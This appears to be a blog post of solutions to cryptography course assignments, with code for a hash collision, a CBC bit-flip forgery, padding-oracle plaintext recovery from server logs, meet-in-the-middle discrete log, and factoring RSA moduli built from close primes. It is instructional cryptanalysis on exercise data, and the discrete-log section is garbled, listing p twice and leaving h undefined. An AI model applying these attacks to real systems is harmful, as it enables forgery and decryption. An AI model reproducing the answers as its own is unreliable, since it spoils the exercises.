                    if (mhash.ContainsKey(fiftyhash))                   {
                        System.Console.WriteLine("FOUND!!!!");
                        printStuff(i);
                        printStuff(mhash[fiftyhash]);
                        Environment.Exit(0);
                    }
                    else
                        mhash.Add(fiftyhash, i);

                }
                System.Console.WriteLine("Done with iteration {0} :(", iter);
                System.Threading.Thread.Sleep(500);
            }
        }
    }
}

collision

Week 4 – CBC with IV

Problem:

An attacker intercepts the following ciphertext (hex encoded):

   20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d 

He knows that the plaintext is the ASCII encoding of the message “Pay Bob 100$” (excluding the quotes). He also knows that the cipher used is CBC encryption with a random IV using AES as the underlying block cipher. Show that the attacker can change the ciphertext so that it will decrypt to “Pay Bob 500$”. What is the resulting ciphertext (hex encoded)? This shows that CBC provides no integrity.

Solution:

This is insecure because the first message block is xored with the random IV

20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d
P a y B o b 1 0 0 $

9th char
0xb9 decrypts to 1
0xb9 xor ascii (1 xor 5)
0xb9 xor 0x31 xor 0x35
= 0xbd

20814804c1767293bd9f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d

Week 4 – Padding Oracle

Problem:
 
A web site administrator found these log entries in a web server log. After some digging, the admin realized that the first log entry is an AES CBC encryption with random IV of some secret data (the ciphertext is hex encoded and appears right after the “GET /”). The secret data contains private user data that should only be known to the web site. 

After more digging the admin realized that the web site is vulnerable to a CBC padding oracle attack. In particular, when a decrypted CBC ciphertext ends in an invalid pad the web server returns a 403 error code (forbidden request). When the CBC padding is valid, but the message is malformed the web server returns a 404 error code (URL not found). To her horror, the admin realized that the log entries following the first entry are a result of a remote CBC padding oracle attack on the ciphertext in the first log entry. 

See if you can use the given log entries to recover the decryption of the ciphertext in the first log entry. Keep in mind that the first ciphertext block is the random IV. The decrypted message is ASCII encoded. 

Solution:

There are plenty of good resources about the padding oracle. My favorite is probably this: http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

#!/usr/bin/python
import sys

class oracleAnal:
    #Original doc at http://spark-university.s3.amazonaws.com/stanford-crypto/projects/proj4-log.txt
    #The file processed here generated with cat ./proj4-log.txt | egrep " 404" | cut -f2 -d/ | cut -f1 -d " " > pad.txt
    def __init__(self, fname, debug=False):
      self.debug = debug
      self.iv = []
      self.requests = []
      #need to skip the iv (e.g. block 0)
      self.currBlock = 1
      self.parseRequests(fname)  
      for i in self.iv:
        self.decryptBlock(self.requests[16*self.currBlock:16*(self.currBlock+1)], i)
        self.currBlock += 1
    
    #this parses the request file into self.iv and self.requests
    def parseRequests(self, fname):
      f = open(fname)
      requests = f.readlines()
      for i in range(0, len(requests)):
        req = requests[i].strip()
        self.requests.append(req[:32])
        if(i % 16 == 0):
          self.iv.append(req[32:])
      f.close()
      
    #takes a string, decodes it, and splits it to a byte array  
    def decodestr(self, mstr):
      #blocks should be 16 bytes
      if(len(mstr) != 32):
        print "Error"
      mstr = mstr.decode("hex")
      s = [ord(ch) for ch in mstr]
      return s
      
    #each block in the list is of the 16 byte format like
    #e.g. 202020202020202020202020202020d8
    #and iv is the previous original 16 byte crypt block
    #e.g. cac544d7942e50e1a0afa156c803d115
    def decryptBlock(self, bList, iv):
        finalBstr = ""
        if self.debug:
            print "Decrypting a block with IV ", iv
        iv = self.decodestr(iv)
        for block in bList:
            decblock = self.decodestr(block)
            for i in range(0,len(decblock)):
                byte = decblock[i]
                #error here if the valid pad found is 0x20, but can manually fix later...
                #plus it's right 255/256 times :)
                if byte == 0x20:
                    continue
                pad = byte
                padRes = 16-i
                tiv = iv[i]
                if self.debug:
                    print hex(pad), hex(padRes), hex(tiv)
                    print chr(pad ^ padRes ^ tiv)
                finalBstr = chr(pad ^ padRes ^ tiv) + finalBstr
                break
        sys.stdout.write(finalBstr)


m = oracleAnal("pad.txt")

Week 5 – Meet in the Middle

Problem (shortened to take out extras since formatting was messed up in copy)

Your goal this week is to write a program to compute discrete log modulo a prime p. Let g be some element in Z∗p and suppose you are given h in Z∗p such that h=g^x where 1≤x≤240. Your goal is to find x. More precisely, the input to your program is p,g,h and the output is x.

The trivial algorithm for this problem is to try all 2^40 possible values of x until the correct one is found, that is until we find an x satisfying h=g^x in Zp. This requires 2^40 multiplications. In this project you will implement an algorithm that runs in time roughly 240−−−√=220 using a meet in the middle attack.

(he gives an algorithm)

Now that we have an algorithm, here is the problem to solve:

p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

Each of these three numbers is about 153 digits. Find x such that h=g^x in Zp.

Solution

This was pretty straightforward.

import gmpy2


p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

def calc1(i):
    denominv = pow(g, i, p)
    denom = gmpy2.invert(denominv, p)
    tval = gmpy2.mul(h, denom)
    retval = gmpy2.f_mod(tval, p)
    return retval

def calc2(i):
    return pow(g, (2**20)*i, p)

hasht = {}
for i in range(0,2**20):
    hasht[calc1(i)] = i
for i in range(0, 2**20):
    c2 = calc2(i)
    if c2 in hasht:
        print "x0: ", i
        print "x1: ", hasht[c2]
        break

x = (((357984 * 2**20) + 787046)% p)
print x

Week 6 – RSA Poor Primes

Problem

Your goal in this project is to break RSA when the public modulus N is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself.

Normally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime p by choosing a random number R and scanning for a prime close by. The second prime q is generated by scanning for some other random prime also close to R. We show that the resulting RSA modulus N=pq can be easily factored.

Suppose you are given a composite N and are told that N is a product of two relatively close primes p and q, namely p and q satisfy
|p−q|<2N^(1/4) (*)
Your goal is to factor N.

Factoring challenge #1: The following modulus N is a products of two primes p and q where |p−q|<2N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 17976931348623159077293051907890247336179769789423065727343008115 \
    77326758055056206869853794492129829595855013875371640157101398586 \
    47833778606925583497541085196591615128057575940752635007475935288 \
    71082364994994077189561705436114947486504671101510156394068052754 \
    0071584560878577663743040086340742855278549092581

Factoring challenge #2: The following modulus N is a products of two primes p and q where |p−q|<2^11*N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 6484558428080716696628242653467722787263437207069762630604390703787 \
    9730861808111646271401527606141756919558732184025452065542490671989 \
    2428844841839353281972988531310511738648965962582821502504990264452 \
    1008852816733037111422964210278402893076574586452336833570778346897 \
    15838646088239640236866252211790085787877

Factoring challenge #3: (extra credit) The following modulus N is a products of two primes p and q where |3p−2q|<N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 72006226374735042527956443552558373833808445147399984182665305798191 \
    63556901883377904234086641876639384851752649940178970835240791356868 \
    77441155132015188279331812309091996246361896836573643119174094961348 \
    52463970788523879939683923036467667022162701835329944324119217381272 \
    9276147530748597302192751375739387929

Solution

I only solved 1 and 2

import gmpy2
import math


class bad_rsa:
    def __init__(self, N):
        self.N = N
        self.computePrime()

    def computePrime(self):
        for i in range (1, 2**20):
            self.A = gmpy2.isqrt(self.N) + i
            self.calcX()
            if self.verify():
                print "found it!"
                print self.p
                break

    def calcX(self):
        Asquared = gmpy2.mul(self.A, self.A)
        remainder = gmpy2.sub(Asquared, self.N)
        self.x  = gmpy2.isqrt_rem(remainder)[0] 

    def verify(self):
        self.p = gmpy2.sub(self.A, self.x)
        self.q = gmpy2.add(self.A ,self.x)
        if gmpy2.mul(self.p, self.q) == self.N:
            return True
        else:
            return False


#problem 1
prob1 = gmpy2.mpz('17976931348623159077293051907890247336179769789423065727343008115' +
                   '77326758055056206869853794492129829595855013875371640157101398586' +
                   '47833778606925583497541085196591615128057575940752635007475935288' +
                   '71082364994994077189561705436114947486504671101510156394068052754' +
                   '0071584560878577663743040086340742855278549092581')
#problem 2
prob2 = gmpy2.mpz('6484558428080716696628242653467722787263437207069762630604390703787' +
                  '9730861808111646271401527606141756919558732184025452065542490671989' +
                  '2428844841839353281972988531310511738648965962582821502504990264452' +
                  '1008852816733037111422964210278402893076574586452336833570778346897' +
                  '15838646088239640236866252211790085787877')

a = bad_rsa(prob2)
raw_input("Enter Key")
Follow

Get every new post delivered to your Inbox.

Join 33 other followers